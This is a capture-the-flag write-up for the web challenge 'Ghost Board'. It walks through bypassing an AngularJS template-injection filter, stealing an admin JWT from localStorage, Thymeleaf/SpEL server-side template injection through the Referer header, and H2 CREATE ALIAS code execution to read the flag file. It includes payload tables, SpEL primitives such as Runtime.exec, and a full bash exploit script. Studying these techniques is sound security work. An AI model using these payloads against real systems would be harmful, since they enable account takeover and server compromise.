Challenge Overview
| Field | Value |
|---|---|
| Challenge Name | Ghost Board |
| Category | Web Exploitation |
| Difficulty | Medium |
| Target | http://challenges2.ctf.sd:33125 |
| Flag | 0xL4ugh{c0ngr47z_y0u_did_wh47_sh4d0w_did_in_bug_b0un7y_8548f69a3e9f1b7407020f913e031a44} |
Ghost Board is a web application built with Spring Boot (backend) and AngularJS (frontend) that allows users to create and view "boards". An admin bot periodically visits the boards page, and a flag is stored in a randomly-named file on the server.
Vulnerability Chain
| Step | Vulnerability | Impact |
|---|---|---|
| 1 | AngularJS Client-Side Template Injection (CSTI) | XSS via $compile directive |
| 2 | Filter Bypass | Bracket notation bypasses .constructor block |
| 3 | Thymeleaf Server-Side Template Injection (SSTI) | SpEL execution via __${...}__ preprocessing |
| 4 | H2 Database Code Execution | Arbitrary Java via CREATE ALIAS |
Part 1: Stealing Admin JWT Token
1.1 The Vulnerability
In boardsController.js:118-128, a custom AngularJS directive compiles user-controlled content:
app.directive('compileHtml', ['$compile', function($compile) {
return {
restrict: 'A',
link: function(scope, element, attrs) {
scope.$watch(attrs.compileHtml, function(value) {
element.html(value);
$compile(element.contents())(scope); // VULNERABLE
});
}
};
}]);
This directive is used on board titles in boards.html:29:
<h3 class="board-title" compile-html="board.title"></h3>
Understanding AngularJS Template Injection
AngularJS uses double curly braces {{ }} for template expressions. When $compile processes user input, any AngularJS expressions in the content are evaluated. This is fundamentally different from traditional XSS – we're not injecting HTML/JavaScript directly, but abusing the framework's own template engine.
The attack surface exists because:
- Template expressions are evaluated –
{{ 7*7 }}becomes49 - Scope is accessible – We can access controller variables and functions
- Prototype chain is traversable – We can reach JavaScript built-ins via
constructor
1.2 The Filter
The backend blocks certain patterns in BoardController.java:
if (request.getTitle().toLowerCase().contains(".constructor") ||
request.getTitle().toLowerCase().contains("<") ||
request.getTitle().toLowerCase().contains("javascript:") ||
request.getTitle().toLowerCase().contains("onerror") ||
request.getTitle().toLowerCase().contains("onload")) {
return ResponseEntity.badRequest().body("Title contains blocked patterns");
}
1.3 The Bypass
JavaScript allows two syntaxes for property access:
obj.property // Dot notation
obj['property'] // Bracket notation
These are semantically identical, but the filter only blocks dot notation:
- Blocked:
''.constructor.constructor - Allowed:
''['constructor']['constructor']
1.4 The Payload
Title (52 chars):
{{''['constructor']['constructor'](board.content)()}}
Content (JavaScript payload):
fetch('/api/boards',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.token},body:JSON.stringify({title:'PWN',content:localStorage.token})})
Payload Breakdown
''['constructor'] → String.prototype.constructor → String
['constructor'] → String.constructor → Function
(board.content) → Function(code) - creates function from string
() → Execute the function
This is the classic "constructor chain" technique:
// These are equivalent:
eval("alert(1)")
''['constructor']['constructor']("alert(1)")()
Function("alert(1)")()
The payload:
- Accesses the
Functionconstructor via the prototype chain - Creates a new function from
board.content(our JS code) - Executes it immediately
- The JS code steals the admin's JWT from localStorage and saves it to a new board
1.5 Exploitation Steps
TARGET="http://challenges2.ctf.sd:33125"
# 1. Register user
curl -s "$TARGET/api/auth/register" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}'
# Save token from response
TOKEN="<your_token>"
# 2. Create XSS board
curl -s "$TARGET/api/boards" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"title": "{{'\'''\''['\'constructor\'']['\'constructor\''](board.content)()}}",
"content": "fetch('\''/api/boards'\'',{method:'\''POST'\'',headers:{'\''Content-Type'\'':'\''application/json'\'','\''Authorization'\'':'\''Bearer '\''+localStorage.token},body:JSON.stringify({title:'\''PWN'\'',content:localStorage.token})})"
}'
# 3. Trigger bot
curl -s -X POST "$TARGET/api/visit" -H "Authorization: Bearer $TOKEN"
# 4. Wait and retrieve admin token
sleep 5
curl -s "$TARGET/api/boards" -H "Authorization: Bearer $TOKEN" | jq '.[] | select(.title=="PWN") | .content'
Part 2: Server-Side Template Injection (SSTI)
2.1 Understanding SSTI
Server-Side Template Injection occurs when user input is embedded into a template that's processed server-side. Unlike CSTI (client-side), SSTI executes on the server with full access to the backend runtime.
SSTI vs XSS
| Aspect | XSS/CSTI | SSTI |
|---|---|---|
| Execution | Client browser | Server |
| Access | DOM, cookies, localStorage | Files, databases, system |
| Impact | User compromise | Server compromise |
| Detection | Browser DevTools | Server logs, errors |
2.2 Thymeleaf Template Engine
Thymeleaf is a Java template engine commonly used with Spring Boot. It supports Spring Expression Language (SpEL) for dynamic content.
Normal Thymeleaf syntax:
<span th:text="${user.name}">Default</span>
<a th:href="@{/user/{id}(id=${user.id})}">Profile</a>
The preprocessing syntax:
Thymeleaf supports a special preprocessing syntax: __${...}__
This syntax evaluates the expression BEFORE the main template processing:
<!-- Step 1: Preprocess __${expr}__ -->
<span th:text="@{'/path/__${variable}__'}">
<!-- Step 2: If variable = "foo", becomes: -->
<span th:text="@{'/path/foo'}">
<!-- Step 3: Normal Thymeleaf processing -->
2.3 The Vulnerability
In admin-dashboard.html:87, the Referer header is processed with Thymeleaf preprocessing:
<span th:text="@{'/login?redirectAfterLogin=__${Referer}__'}"></span>
The Referer header value is inserted into the preprocessing expression without sanitization. If we control Referer, we control the SpEL expression.
2.4 Spring Expression Language (SpEL) Deep Dive
SpEL is a powerful expression language supporting:
- Property access:
${user.name} - Method calls:
${user.getName()} - Type references:
${T(java.lang.Runtime)} - Bean references:
${@beanName} - Operators:
${1 + 1},${name == 'admin'}
SpEL Attack Primitives
1. Type References (T operator):
T(java.lang.Runtime).getRuntime().exec('id')
T(java.lang.System).getenv()
2. Bean References (@ operator):
@environment.getProperty('spring.datasource.url')
@jdbcTemplate.queryForList('SELECT * FROM users')
3. Reflection:
''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(...)
2.5 Payload Structure
To inject into the preprocessing context, we need to break out of the URL syntax:
'} + ${<SPEL_EXPRESSION>} + @{'
How it works:
<!-- Original template -->
<span th:text="@{'/login?redirectAfterLogin=__${Referer}__'}">
<!-- With Referer: '} + ${7*7} + @{' -->
<!-- After preprocessing: -->
<span th:text="@{'/login?redirectAfterLogin=__'} + ${7*7} + @{'__'}">
<!-- SpEL evaluates ${7*7} = 49 -->
<!-- Final output includes: 49 -->
2.6 Useful Payloads
| Purpose | Payload |
|---|---|
| Test SSTI | '} + ${7*7} + @{' → returns 49 |
| List beans | '} + ${T(java.lang.String).join(',', @thymeleafViewResolver.getApplicationContext().getBeanDefinitionNames())} + @{' |
| Env vars | '} + ${@environment.getSystemEnvironment()} + @{' |
| Read file | '} + ${@jdbcTemplate.queryForObject("SELECT FILE_READ('/path')", T(java.lang.String))} + @{' |
Part 3: Reading the Flag
3.1 The Problem
The flag is stored in /flag-<random16chars>.txt. We need to:
- Discover the filename (directory listing)
- Read its contents
3.2 H2 Database Capabilities
The application uses H2, an embedded Java database. H2 has several dangerous built-in functions:
| Function | Purpose |
|---|---|
FILE_READ(path) |
Read file contents |
FILE_WRITE(data, path) |
Write to file |
CSVREAD(path) |
Read CSV file |
CREATE ALIAS |
Define custom Java functions |
3.3 Creating H2 LISTDIR Alias
H2's CREATE ALIAS allows defining custom functions in Java:
CREATE ALIAS IF NOT EXISTS LISTDIR AS $$
String[] listDir(String path) {
return new java.io.File(path).list();
}
$$
SSTI Payload:
'} + ${@jdbcTemplate.execute("CREATE ALIAS IF NOT EXISTS LISTDIR AS $$ String[] listDir(String path) { return new java.io.File(path).list(); } $$")} + @{'
3.4 Listing Root Directory
'} + ${@jdbcTemplate.queryForList("SELECT LISTDIR('/')")} + @{'
Response contains:
[..., 'flag-knk5uzalv8uqrjj1.txt', ...]
3.5 Reading the Flag
'} + ${@jdbcTemplate.queryForObject("SELECT FILE_READ('/flag-knk5uzalv8uqrjj1.txt', 'UTF-8')", T(java.lang.String))} + @{'
Full Exploit Script
#!/bin/bash
TARGET="http://challenges2.ctf.sd:33125"
echo "[*] Step 1: Registering user"
RESP=$(curl -s "$TARGET/api/auth/register" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}')
TOKEN=$(echo "$RESP" | jq -r '.token')
echo "[+] Token: ${TOKEN:0:50}..."
echo "[*] Step 2: Creating XSS board"
cat > /tmp/payload.json << 'EOF'
{
"title": "{{''['constructor']['constructor'](board.content)()}}",
"content": "fetch('/api/boards',{method:'POST',headers:{'Content-Type':'application/json','Authorization':'Bearer '+localStorage.token},body:JSON.stringify({title:'PWN',content:localStorage.token})})"
}
EOF
curl -s "$TARGET/api/boards" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @/tmp/payload.json > /dev/null
echo "[*] Step 3: Triggering bot"
curl -s -X POST "$TARGET/api/visit" -H "Authorization: Bearer $TOKEN" > /dev/null
sleep 5
echo "[*] Step 4: Retrieving admin token"
ADMIN_TOKEN=$(curl -s "$TARGET/api/boards" \
-H "Authorization: Bearer $TOKEN" | jq -r '.[] | select(.title=="PWN") | .content' | head -1)
echo "[+] Admin Token: ${ADMIN_TOKEN:0:50}..."
echo "[*] Step 5: Creating LISTDIR alias"
curl -s "$TARGET/api/admin/dashboard" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H 'Referer: '"'"'} + ${@jdbcTemplate.execute("CREATE ALIAS IF NOT EXISTS LISTDIR AS $$ String[] listDir(String path) { return new java.io.File(path).list(); } $$")} + @{'"'"'' > /dev/null
echo "[*] Step 6: Finding flag filename"
FLAG_FILE=$(curl -s "$TARGET/api/admin/dashboard" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Referer: '} + \${@jdbcTemplate.queryForList(\"SELECT LISTDIR('/')\")} + @{'" | grep -oE "flag-[a-z0-9]+\.txt")
echo "[+] Flag file: $FLAG_FILE"
echo "[*] Step 7: Reading flag"
FLAG=$(curl -s "$TARGET/api/admin/dashboard" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Referer: '} + \${@jdbcTemplate.queryForObject(\"SELECT FILE_READ('/$FLAG_FILE', 'UTF-8')\", T(java.lang.String))} + @{'" | grep -oE "0xL4ugh\{[^}]+\}")
echo "[+] FLAG: $FLAG"
SSTI Detection Methodology
When testing for SSTI, use this decision tree:
┌─────────────────────────────────────────────────────────────────┐
│ SSTI Detection Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. Inject: ${7*7} or {{7*7}} or <%= 7*7 %> │
│ └─► Response contains "49"? → Likely SSTI │
│ │
│ 2. Identify template engine: │
│ ├─ {{7*7}} = 49 → Jinja2, Twig, AngularJS │
│ ├─ ${7*7} = 49 → FreeMarker, Thymeleaf, Velocity │
│ ├─ #{7*7} = 49 → Thymeleaf (older), Ruby ERB │
│ └─ <%= 7*7 %> = 49 → ERB, EJS │
│ │
│ 3. Escalate based on engine: │
│ ├─ Thymeleaf → SpEL: T(java.lang.Runtime)... │
│ ├─ FreeMarker → <#assign x="freemarker..."> │
│ ├─ Jinja2 → {{config.__class__.__init__...}} │
│ └─ Twig → {{_self.env.registerUndefinedFilterCallback...}} │
│ │
└─────────────────────────────────────────────────────────────────┘
Flag
0xL4ugh{c0ngr47z_y0u_did_wh47_sh4d0w_did_in_bug_b0un7y_8548f69a3e9f1b7407020f913e031a44}
Key Takeaways
- Filter Bypass: Bracket notation
['constructor']bypasses dot notation filters - AngularJS CSTI:
$compileon user input enables prototype chain traversal toFunction - SSTI vs CSTI: Server-side execution = server compromise, not just user compromise
- Thymeleaf Preprocessing:
__${...}__evaluates SpEL before main template processing - H2 Database:
CREATE ALIASenables arbitrary Java code execution - Chained Vulnerabilities: XSS → Token Theft → SSTI → File Read